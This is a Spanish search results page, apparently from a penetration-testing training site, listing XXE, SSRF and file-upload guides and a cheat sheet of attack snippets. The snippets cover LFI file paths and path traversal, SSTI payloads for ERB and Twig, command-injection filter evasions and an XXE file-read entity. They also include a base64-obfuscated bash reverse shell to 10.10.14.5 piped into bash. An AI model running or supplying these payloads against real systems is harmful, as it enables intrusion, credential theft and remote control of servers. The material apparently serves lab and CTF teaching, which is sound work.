Buscar en todo
58 resultados para «xxe»
Técnicas 1
Técnicas de MITRE ATT&CK 1
Guías 3
- XXE: leer ficheros del servidor con entidades externas de XML Qué es una XXE, cómo detectarla en APIs, SVG y documentos de Office, leer ficheros con php://filter, la XXE ciega con DTD externo y su uso como SSRF.
- SSRF: cómo usar el servidor para llegar a servicios internos y a la nube SSRF paso a paso: detectarla, escanear puertos internos, saltarse los filtros de localhost con redirecciones, leer metadatos de AWS y atacar Redis con gopher.
- Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
Recursos y herramientas 1
Máquinas 4
Rutas de aprendizaje 1
Checklists 1
Apartados de las guías 9
- XXE ciega: sacar el fichero por la red XXE: leer ficheros del servidor con entidades externas de XML
- Y después XXE: leer ficheros del servidor con entidades externas de XML
- Dónde buscarla XXE: leer ficheros del servidor con entidades externas de XML
- Errores típicos XXE: leer ficheros del servidor con entidades externas de XML
- Leer un fichero XXE: leer ficheros del servidor con entidades externas de XML
- SVG y documentos de Office XXE: leer ficheros del servidor con entidades externas de XML
- Detectarla aunque no veas el valor XXE: leer ficheros del servidor con entidades externas de XML
- Ficheros con caracteres especiales XXE: leer ficheros del servidor con entidades externas de XML
- Cuando no controlas el documento entero XXE: leer ficheros del servidor con entidades externas de XML
Comandos 37
-
Linux
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
/etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf -
Básico
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
../../../../../../etc/passwd -
SSTImap
LFI, SSTI, inyección de comandos y XXE › SSTI › Herramienta
python3 sstimap.py -u 'http://10.10.11.20/page?name=test' -
Windows
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf -
ERB (Ruby)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
<%= `id` %> -
Por tiempo
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; sleep 5 -
Sin barras
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat ${HOME:0:1}etc${HOME:0:1}passwd -
Twig (PHP)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
{{ ['id']|filter('system') }} -
Sin espacios
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd -
Incluir el log
LFI, SSTI, inyección de comandos y XXE › LFI › De LFI a RCE con logs
?page=/var/log/apache2/access.log&c=id -
Todo en base64
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash -
Entidad externa
LFI, SSTI, inyección de comandos y XXE › XXE › Lectura de ficheros
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r>